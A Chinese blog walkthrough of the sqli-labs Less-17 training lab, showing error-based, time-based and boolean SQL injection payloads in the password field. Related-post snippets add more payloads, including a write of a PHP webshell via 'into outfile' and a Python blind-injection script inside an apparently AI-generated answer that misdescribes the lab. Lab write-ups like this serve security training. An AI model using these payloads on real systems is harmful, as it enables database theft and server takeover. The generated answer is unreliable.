sqli-labs-Less-17

最新推荐文章于 2025-07-13 14:48:17 发布
原创 最新推荐文章于 2025-07-13 14:48:17 发布 · 564 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#sql-labs-less-17

本文深入探讨了SQL注入的三种常见手法：报错注入、延时注入及布尔注入，并解释了为何在特定情况下不宜对username进行构造。通过实例演示了如何利用这些技巧进行数据库信息的非法获取。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

这一关与密码有关，我们尝试下报错

输入username:admin
password=1'

在这里插入图片描述
故对密码处理时应该使用“
报错注入

username:admin
password:1'and extractvalue(1,concat(0x7e,(select version()),0x7e))#

在这里插入图片描述
version()可以换成其他语句进行注入

延时注入

 username:admin
 password:1'and if(ascii(substr(database(),1,1))=115,1,sleep(5))#

布尔注入

  username:admin
  password:1'and left (database(),1)>'a'#

可是我们为什么不对username进行构造呢
原因是less=177 的 check_input()中，对 username 进行各种转义的处理，所以此处不能使用username 进行注入。
在这里插入图片描述
这3个函数的功能大家就自己查找资料

sqli-lab-less17
Sa1nZen的博客
08-04 206
sqli-lab-less17。
【sqli-labs】sqli-labs 靶场通关（1-16）
m0_71944965的博客
09-02 714
🏘️个人主页： 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【靶场】sqli-labs 靶场通关（1-16）sqli-labs第一关 sqli-labs第一关 输入?id=1 正常 输入?id=1' 报错 输入?id=1'--+ 正常 判断有注入点且闭合方式是 ’ 使用and ‘1’='1判断他为字符型注入 ?id=1' order by 3--+ 正常 ?id=1' order by 4--+ 报错 判断回显位有三个。 id=0
Sqli-labs less-17
weixin_46099552的博客
08-15 511
会报错，所以应该使用报错注入（图放错了）在burp抓包后放进重放器然后直接粘贴就行。语句就知道应该是在密码上注入，输入。看对话框是新建用户，是。可以使用子查询来绕过。
sqli-labs第十七关
最新发布
fristchoice的博客
07-13 259
本文演示了SQL注入渗透测试的全过程。首先通过Burp Suite抓取POST请求包，保存为1.txt。使用sqlmap工具进行注入测试，在参数后添加*标记注入点，成功获取数据库版本信息。随后逐步获取数据库名、表名（如security.users表），并通过两种方式导出数据：直接dump整个表或分步获取列名后再提取指定列数据。整个测试采用--batch参数自动执行，最终成功获取数据库中的敏感信息。该案例展示了从发现注入点到完整获取数据库内容的完整流程，强调了POST请求也可能存在SQL注入风险。
floor报错注入的两种格式
aitong的博客
01-31 541
联合查询 http://127.0.0.1/sqli-labs/less-6/?id=1" union select null,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from users group by x--+ 其中1是因为联合查询列数要相同所以补个1，换成null也可以 users可
Sqli-labs之Less-17
m0_46315342的博客
06-04 811
                                          &nbs...
sqlilabs less-17
TA不懒，但还没有添加简介
07-05 310
sqlilabs less-17
sqli-labs靶场练习笔记
11-09
- **示例**：`http://127.0.0.1/sqli-labs-master/less-7/?id=-1')) union select 1,2,'($_POST["lcy"]);?>' into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.php'--`。 - **第8关：基于延迟的...
sqli-labs实验指导手册
11-17
3. **基于不同闭合字符的注入**（如less-3和less-4）： - 类似于字符型联合注入，但闭合字符为`)`或`"`，需要相应地调整注入语句。 4. **错误回显注入**（如less-5）： - **利用`updatexml`函数**：即使没有直接...
sql注入 自学笔记 报错注入 二阶注入 布尔时间盲注 基于sqli-labs
02-19
下面是基于SQLi-Labs的SQL注入基础知识点： 一、报错注入 报错注入是指攻击者通过构造特定的SQL语句，让攻击者想要查询的信息通过页面的错误提示回显出来。报错注入一般需要具备两个前提条件： 1. Web应用程序未...
Sqli-labs Less32-Less33 宽字节注入
beiweixiaotian66的博客
07-25 906
一丢丢Sqli-labs小练习
sqli-labs (less-17)
kukudeshuo的博客
03-11 411
sqli-labs (less-17) 进入17关，我们发现17关与前面关卡有所不同，他是要我们输入用户名然后修改密码，我们这里把密码依然改为admin等进去试试 我们继续利用hackbar抓取POST的内容，抓取后我们判断注入点。作者试了很多次，17关输入用户名的位置是没有注入点的，所以我们在更改密码的位置判断注入点 输入 uname=admin&passwd=admin'&submit=Submit #有完整错误回显 所以这里我们使用报错注入攻击 查看当前数据库 uname=adm
Sqlilabs Less-17
Light_inthe_eyes的博客
03-07 183
PASSWORD RESET提醒此关可能是password的注入。查看源码，发现逻辑是需要先证明用户存在才能重置密码，既然我们知道admin用户，就直接注入吧。 判断是单引号字符型注入，无回显，用报错注入： uname=admin&passwd=abc'#&submit=Submit 爆库： uname=admin&passwd=abc'+and+extractvalue(1,concat(0x5c,(select+database())))#&submit=Submit
SQLi-labs（Less-17）
weixin_41182861的博客
08-01 211
Less-17 POST - Update Query- Error Based - String 在username中输入任何测试符号都无济于事。查看源码，后端对uname有过滤： function check_input($value) { if(!empty($value)) //检测这个形参是否为空。 { // truncation (see comments) $value = substr($value,0,15); //分割一串字符串的效果, 第二个参数是从第0个
sqli-labs/Less-17
m0_71299382的博客
11-18 206
sqli-labs第十七关
sqli-labs（17）
jimggg的博客
03-20 248
Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
sqli-labs-less17
qq_45106794的博客
10-23 941
#sqli-labs-less17 在对uname这一项进行注入，发现不管是’ " ’ ) " )等，都显示一样，说明无法进行注入，也说明源代码可能有对uname进行检查，再试试passwd这一项 成功报错，说明passwd这一项可以进行注入 'or (select 1 from (select count(),concat(floor(rand(0)2),database())as x f...
SQLi LABS Less 17 报错注入
热门推荐
wangyuxiang946的博客
06-22 1万+
SQLi 第十七关，SQLi-LABS Less-17，SQLi-LABS Less 17，SQLiLABS Less17，SQLi Less 17
sqli-labs ————less -17
Fly_鹏程万里
05-12 938
Less-17源代码如下：<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head&..
sqli-labs less-17
06-18
### SQL注入实验室（sqli-labs）Less-17 解法或提示 在 SQL 注入实验室（sqli-labs）中，Less-17 是一个基于布尔盲注的 SQL 注入关卡。此关卡的目标是通过布尔盲注技术逐步推断出数据库中的信息[^1]。布尔盲注的核心思想是利用条件判断来确定查询结果是否满足特定条件，从而推导出目标数据。 以下是关于 Less-17 的解法提示： #### 1. 确定数据库名 可以通过以下 Payload 来逐字猜测数据库名： ```python 1' AND IF(ASCII(SUBSTRING((SELECT database()),X,1))=Y,sleep(1),1) -- a ``` 其中： - `X` 表示当前猜测的字符位置。 - `Y` 表示当前猜测的 ASCII 值。 通过不断调整 `X` 和 `Y` 的值，可以逐步推断出完整的数据库名[^1]。 #### 2. 获取表名 在确定数据库名后，可以使用类似的方法获取该数据库中的表名。Payload 示例如下： ```python 1' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='数据库名' LIMIT X,1),Y,1))=Z,sleep(1),1) -- a ``` 其中： - `数据库名` 是上一步中推断出的数据库名称。 - `X` 表示当前表的索引。 - `Y` 表示当前猜测的字符位置。 - `Z` 表示当前猜测的 ASCII 值。 通过不断调整参数，可以枚举出所有表名[^4]。 #### 3. 获取列名 在确定表名后，可以进一步获取表中的列名。Payload 示例如下： ```python 1' AND IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='表名' LIMIT X,1),Y,1))=Z,sleep(1),1) -- a ``` 其中： - `表名` 是上一步中推断出的表名称。 - 其他参数含义与上一步相同。 通过不断调整参数，可以枚举出所有列名[^3]。 #### 4. 获取数据内容 在确定列名后，可以提取表中的具体数据。Payload 示例如下： ```python 1' AND IF(ASCII(SUBSTRING((SELECT 列名 FROM 表名 LIMIT X,1),Y,1))=Z,sleep(1),1) -- a ``` 其中： - `列名` 是上一步中推断出的列名称。 - 其他参数含义与上一步相同。 通过不断调整参数，可以提取出表中的所有数据[^1]。 #### 注意事项 - 在实际测试中，可能需要根据目标环境调整 Payload，例如替换 `sleep(1)` 为其他延迟函数。 - 如果目标环境不支持时间盲注，可以尝试使用布尔盲注结合页面回显来判断条件是否成立。 - 测试时请确保遵守相关法律法规，仅在授权范围内进行实验。 ```python # 示例代码：自动化脚本框架 import requests url = "http://127.0.0.1/sqli-labs/Less-17/" true_condition = "正确响应标志" # 替换为实际页面的正确响应标志 def check_payload(payload): response = requests.get(url, params={"id": payload}) return true_condition in response.text def guess_char(position, ascii_value): payload = f"1' AND IF(ASCII(SUBSTRING((SELECT database()),{position},1))={ascii_value},1,0) -- a" return check_payload(payload) # 自动化猜解逻辑 database_name = "" for i in range(1, 20): # 假设数据库名长度不超过20 for j in range(32, 127): # ASCII 可见字符范围 if guess_char(i, j): database_name += chr(j) print(f"当前数据库名: {database_name}") break ```
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值